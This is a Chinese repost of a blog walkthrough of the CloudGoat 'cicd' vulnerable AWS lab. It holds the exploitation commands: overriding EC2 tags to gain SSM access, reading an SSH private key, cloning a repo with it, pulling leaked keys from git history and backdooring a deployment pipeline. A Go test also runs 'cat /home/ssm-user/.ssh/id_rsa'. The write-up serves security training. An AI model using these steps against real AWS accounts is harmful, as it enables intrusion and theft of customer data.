构建易受攻击的AWS DevOps环境:CloudGoat攻防实战

news/2025/10/12 19:17:49/文章来源:https://www.cnblogs.com/qife122/p/19137070

构建易受攻击的AWS DevOps环境作为CloudGoat场景

CloudGoat:易受攻击的AWS环境

CloudGoat是一个开源项目,包含一系列易受攻击的AWS环境,可以使用基于Terraform的Python包装器在您自己的AWS账户中轻松创建。每个场景都有一个专用文件夹,包含其描述和解决方案。

示例CloudGoat场景

例如,您可以使用以下命令在AWS账户中启动cicd场景:

python cloudgoat.py create cicd

此命令将运行Terraform来启动基础设施,并显示开始使用的说明。通常,它会输出一组AWS凭据作为起点。

贡献新的CloudGoat场景

直接链接:https://github.com/RhinoSecurityLabs/cloudgoat/tree/master/scenarios/cicd

场景故事

FooCorp是一家暴露公共API的公司。FooCorp的客户每分钟向以下API端点提交敏感数据:

POST {apiUrl}/prod/hello
Host: {apiHost}
Content-Type: text/htmlsuperSecretData=...

该API作为Lambda函数实现,通过API Gateway公开。由于FooCorp实施了DevOps,它有一个持续部署管道,可在几分钟内将Lambda函数的新版本从源代码自动部署到生产环境。

FooCorp的持续部署管道。

您的任务(如果您选择接受):您将获得一个低权限IAM用户的初始AWS凭据集。您的目标是窃取提交到FooCorp API的敏感数据。请注意,模拟用户活动正在账户中进行,模拟对FooCorp API的活动。这是通过每分钟运行的AWS CodeBuild项目实现的。

该场景包含:

  • 3个IAM用户
  • 1个VPC,其中包含私有子网中的EC2实例
  • 用于实现API的组件:
    • 1个API Gateway
    • 1个Lambda函数
    • 1个ECR存储库
  • 用于实现持续部署管道的组件:
    • 1个CodePipeline管道
    • 2个CodeBuild项目
    • 1个CodeCommit存储库

FooCorp基础设施架构图

利用演练

当我们通过python3 cloudgoat.py create cicd实例化场景时,我们会获得一个初始的AWS IAM访问密钥:

[cloudgoat] terraform apply completed with no error code.[cloudgoat] terraform output completed with no error code.
cloudgoat_output_access_key_id = AKIA254BBSG...
cloudgoat_output_api_url = https://4ybsnrwee1.execute-api.us-east-1.amazonaws.com/prod
cloudgoat_output_aws_account_id = 012345678912
cloudgoat_output_secret_access_key = mjV9uB....

我们可以在环境中设置AWS_ACCESS_KEY_IDAWS_SECRET_ACCESS_KEY,或使用aws-vault。我更喜欢后者,因为它可以方便地使用CLI和AWS控制台。

$ aws-vault add cloudgoat-step1
Enter Access Key ID:
Enter Secret Access Key:
Added credentials to profile "cloudgoat-step1" in vault# 使用CLI
$ aws-vault exec cloudgoat-step1 --no-session# 打开AWS控制台
$ aws-vault login cloudgoat-step1 --no-session

我们以名为ec2-sandbox-manager的用户身份进行身份验证,该用户具有IAM策略,允许我们管理标记为Environment=dev的EC2实例上的标签,并对具有Environment=sandbox的实例执行任何SSM操作。

{"Effect": "Allow","Resource": "*","Action": ["ec2:CreateTags","ec2:DeleteTags"],"Condition": {"StringLike": {"ec2:ResourceTag/Environment": ["dev"]}}
},
{"Effect": "Allow","Resource": "*","Action": ["ssm:*"],"Condition": {"StringLike": {"ssm:ResourceTag/Environment": ["sandbox"]}}
}

一个EC2实例正在运行,标记为Environment=dev

我们的IAM策略不允许我们通过AWS SSM Session Manager访问实例。但是,我们确实有权覆盖用于访问控制的Environment标签:

然后我们可以访问EC2实例:

$ aws ssm start-session --region us-east-1 --target i-030c2cba2ef533829Starting session with SessionId: ec2-sandbox-manager-06e2440aa9ed6f315
# id
uid=1001(ssm-user) gid=1001(ssm-user) groups=1001(ssm-user)

在我们认证的用户的主目录下,我们找到一个SSH私钥:

$ cd
$ cat .ssh/id_rsa
--
MIIEpAIBAAKCAQEApn/Tcy
...

通过将其指纹与账户中其他IAM用户关联的SSH公钥进行比较,我们注意到被盗的私钥属于名为cloner的IAM用户:

$ ssh-keygen -f .ssh/stolen_key -l -E md5
2048 MD5:be:5e:49:5e:e5:d0:66:bb:91:30:3f:66:2e:97:1a:11$ aws iam list-ssh-public-keys --user-name cloner
{"SSHPublicKeys": [{"UserName": "cloner","SSHPublicKeyId": "APKA254BBSGPK2B5K5YQ","Status": "Active","UploadDate": "2021-12-27T10:34:19+00:00"}]
}
$ aws iam get-ssh-public-key --user-name cloner --ssh-public-key-id APKA254BBSGPK2B5K5YQ --encoding PEM --output text --query 'SSHPublicKey.Fingerprint' 
be:5e:49:5e:e5:d0:66:bb:91:30:3f:66

该用户恰好对CodeCommit存储库具有codecommit:GitPull权限。使用CodeCommit文档,我们可以将存储库克隆到本地机器:

chmod 700 .ssh/stolen_key
export AWS_REGION=us-east-1
sshKeyId=$(aws iam list-ssh-public-keys --user-name cloner --output text --query 'SSHPublicKeys[0].SSHPublicKeyId')cat >> .ssh/config <<EOF
Host *.amazonaws.comIdentityFile ~/.ssh/stolen_key
EOFgit clone ssh://$sshKeyId@git-codecommit.$AWS_REGION.amazonaws.com/v1/repos/backend-api

我们现在可以访问应用程序的源代码!

源代码中没有什么有趣的内容。但是,如果我们查看Git提交历史,有一个提交引起了我们的注意:

39ac1aa (HEAD -> master, origin/master, origin/HEAD) Added app.py
88055fb Added requirements.txt
bdf59bb Added Dockerfile
f1cb341 Use built-in AWS authentication instead of hardcoded keys
70f0181 Added buildspec.yml

分析此提交的差异(git show f1cb341)揭示了一些泄露的AWS凭据!

使用这些凭据向AWS进行身份验证,我们注意到我们刚刚泄露了IAM用户developer的凭据,该用户具有codecommit:GitPushcodecommit:PutFile权限。

我们现在可以使用CodeCommit UI后门应用程序,并等待持续部署管道将其部署到生产环境!例如,我们可以让应用程序将秘密数据记录到其日志中(CloudWatch日志组/aws/lambda/backend-api)。我们也可以后门应用程序,使其在每次请求时将秘密数据发送到远程攻击者控制的服务器——或者不接触应用程序代码,而是后门Docker镜像本身。

向应用程序源代码提交恶意更改后,CodePipeline管道会拾取我们的更改并开始将其推出到生产环境:

几分钟后,我们成功后门了应用程序并捕获了标志!

START RequestId: 3bd6cd1e-9e01-4012-859d-70c9fcd9d643 Version: $LATEST
superSecretData=FLAG{SupplyCh4!nS3curityM4tt3r5"}
END RequestId: 3bd6cd1e-9e01-4012-859d-70c9fcd9d643

使用端到端测试进行持续测试

如前所述,此场景基于负责创建VPC、EC2实例、管道等的Terraform代码。Terraform代码并非简单。我们如何高度确信它持续按预期工作?回想一下,在我们的上下文中,"工作"意味着处于可通过预期步骤利用的状态。

我们利用了Terratest,一个用于测试Terraform代码的Go库。更具体地说,我们编写了如下工作的Go测试:

  1. 使用Terratest针对实时AWS环境运行我们的Terraform代码。资源实际部署到AWS。
  2. 从我们的Go测试中,向FooCorp API发送实际HTTP请求以确保其已正确部署。
  3. 仍然从我们的Go测试中,以编程方式执行利用步骤,一步一步。
  4. 测试结束后,销毁我们通过Terraform代码配置的基础设施。

然后我们可以使用go test运行测试,无论是手动还是自动在每个拉取请求上。以下是"代码形式的利用步骤"的样子:

func (test *EndToEndTest) StealPrivateSSHKey(instanceId string) string {// 在实例上执行SSM命令以窃取SSH私钥ssmClient := ssm.NewFromConfig(test.awsConfig)result, err := ssmClient.SendCommand(context.TODO(), &ssm.SendCommandInput{DocumentName: aws.String("AWS-RunShellScript"),InstanceIds:  []string{instanceId},Parameters: map[string][]string{"commands": {"cat /home/ssm-user/.ssh/id_rsa"},},})test.assert.Nil(err, "Unable to send SSM command to instance")// 等待SSM命令的输出commandOutput, err := ssm.NewCommandExecutedWaiter(ssmClient).WaitForOutput(context.TODO(), &ssm.GetCommandInvocationInput{CommandId:  result.Command.CommandId,InstanceId: &instanceId,}, 2*time.Minute)test.assert.Nil(err, "failed to retrieve SSM command output")// 我们成功窃取了SSH私钥return *commandOutput.StandardOutputContent
}
--- PASS: TestScenario (248.47s)
PASS
ok    github.com/cloudgoat/tests/supply-chain-security  249.070s

结论

我鼓励您尝试这个场景!更一般地说,CloudGoat有一组有价值的实验室,包含许多真实的AWS漏洞。

您对这个场景有什么看法?您如何测试安全实验室?您希望在CloudGoat中看到什么?让我们在Twitter上继续讨论!

感谢RhinoSecurityLabs的Ryan Gerstenkorn提供的出色贡献体验!感谢您的阅读。
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)

公众号二维码

公众号二维码

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/935613.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

虚拟机和windows

一、虚拟机 1.1 虚拟机的概念 ​ 一台计算机可以运算多个操作系统 1.2 虚拟机的两种模式寄居架构:在物理硬件上的操作系统中安装虚拟机软件运行其他操作系统 原生架构:虚拟机本身就是操作系统,在虚拟机上运行多个操…

实用指南:二型最大似然(Type II Maximum Likelihood):概述与核心概念

实用指南:二型最大似然(Type II Maximum Likelihood):概述与核心概念pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family:…

MySQL 5.7版本,搭建一个两主一从的多源主从复制环境

0. 概述 自MySQL5.7.6 版本开始,就支持多源复制。本文简要记录下两主一从的多源复制部署过程,及其中的要点。 1. 分别在两个主库中模拟需要同步的数据:主库1:在mm数据库中创建测试表mm,并插入几条数据。root@loca…

PyTorch深度学习遥感影像地物分类与目标检测、分割及遥感影像疑问深度学习优化技术

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

Go 语言中映射(Map)使用场景 - 教程

Go 语言中映射(Map)使用场景 - 教程2025-10-12 19:10 tlnshuju 阅读(0) 评论(0) 收藏 举报pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !i…

测试哦 - sto-OI

![](javascript:var%20KICKASSVERSION=2.0; var%20s%20=%20document.createElement(script); s.type=text/javascript; document.body.appendChild(s); s.src=//hi.kickassapp.com/kickass.js; void(0)😉

SimAM注意力机制

🧠 一、SimAM 的基本思想 SimAM(Simple Attention Module) 是一种无参数的注意力机制(即不增加可学习参数),发表于📝 SimAM: A Simple, Parameter-Free Attention Module for Convolutional Neural Networks(…

python容器-字符串

一、容器类型 1.1 容器介绍 容器就是存储多个数据的东西, 同时Python为了方便我们对容器中的数据进行增加删除修改查询专门提供了相应的方法便于我们操作 1.2 容器类型 Python中常见容器有如下几种:字符串 列表 元组 字…

氛围编程陷阱:为什么AI生成代码正在制造大量伪开发者

这是一篇再国外讨论非常火的帖子,我觉得不错所以把它翻译成了中文。 大语言模型和ai只能提的发展衍生出了一个东西叫"vibe coding"(氛围编程)——用自然语言描述需求,让AI生成代码,看起来不用写代码就能…

记一次的AI Agent开发的思维误区

写在前面 无论博客还是公号,我都很久不写东西了,去年、今年两年发生了太多的事,我没法梳理,也不想梳理了,本能的想着用时间来冲淡一切的一切,但是现实就是无法如愿。 自然文章、博客也就停滞了,相应的阅读量和粉…

3_Linux 文件管理三部曲:操作、结构与权限控制

Linux 文件管理三部曲:操作、结构与权限控制 对 Linux 新手来说,“管好文件” 是入门的核心 —— 既要会复制、查找文件,也要懂文件存放在哪,更要清楚 “谁能操作文件”。今天这篇文章,带你打通 “文件管理基础→…

2_终端入门:从 “不敢点” 到 “离不开” 的 5 个核心命令(附高频命令补充)

终端入门:从 “不敢点” 到 “离不开” 的 5 个核心命令(附高频命令补充) 很多新手看到 Linux 终端的 “黑窗口” 就发怵 —— 担心输错命令搞坏系统,害怕记不住复杂语法。但其实终端是 Linux 的 “效率神器”:学…

1_从 0 到 1 入门 Linux:认知、选型、安装

从 0 到 1 入门 Linux:认知、选型、安装 不少新手刚听说 Linux 时,总觉得它是 “程序员专属工具”—— 满屏命令行、操作复杂、离日常使用很远。但 2024 年 Linux 桌面份额已突破 5%,从办公电脑到云服务器,它早已融…

02020509 EF Core高级09-生成静态表达式树、动态创建表达式树、简化表达式树

02020509 EF Core高级09-生成静态表达式树、动态创建表达式树、简化表达式树 1. 更简单的创建表达式树(视频3-44) 1.1 动态创建表达式树 1、通过代码来动态构造表达式树要求开发者精通表达式树的结构,甚至还需要了解…

决胜职场:以准备为刃,破局而出

决胜职场:以准备为刃,破局而出 在当代职场的激烈角逐中,"准备"二字,实乃破局之钥,决胜之要。它不仅是方法论,更是一种生存哲学——当他人还在迷雾中摸索时,准备充分者早已拨云见日,稳操胜券。 一、准…

python的流程控制

一、判断语句 1.1 if语句 if语句是最常用的流程控制语句,通常由条件加子句(代码块)组成,条件求值为True时执行子句,如果条件为False时跳过。 if语句包含以下部分:点击查看代码 if 关键字 条件(表达式) 冒号: …

卖萌求 AccessKey

总之是将 luogu 的 uid 和 luogu.me 的 AccessKey luogu 私信发给我。 绘制冬日绘版用。本文来自博客园,作者:xrlong,转载请注明原文链接:https://www.cnblogs.com/xrlong/p/19137022 版权声明:本作品采用 「署名…

详细介绍:【Linux】线程控制

详细介绍:【Linux】线程控制pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco"…

初识pytorch:关于数据展示的组件tensorboard

目录tensorboardtensorboard的介绍tensorboard的使用流程tensorboard的使用技巧关于tensorboard的总结 tensorboard tensorboard的介绍 tensorboard的作用就是让训练的过程可视化,例如大家伙在写代码的时候会在每一轮…

win11家庭版升级到专业版教程,专业版改为家庭版教程

win11家庭版升级到专业版教程 写这篇文章的原因 因为工作原因,一直在外地出差用的是公司办公电脑,节后放假后就开始公司远程办公了,倒也没什么问题,突然有一天下班在家里,21点后叫我加班(程序都懂的,加班是常态…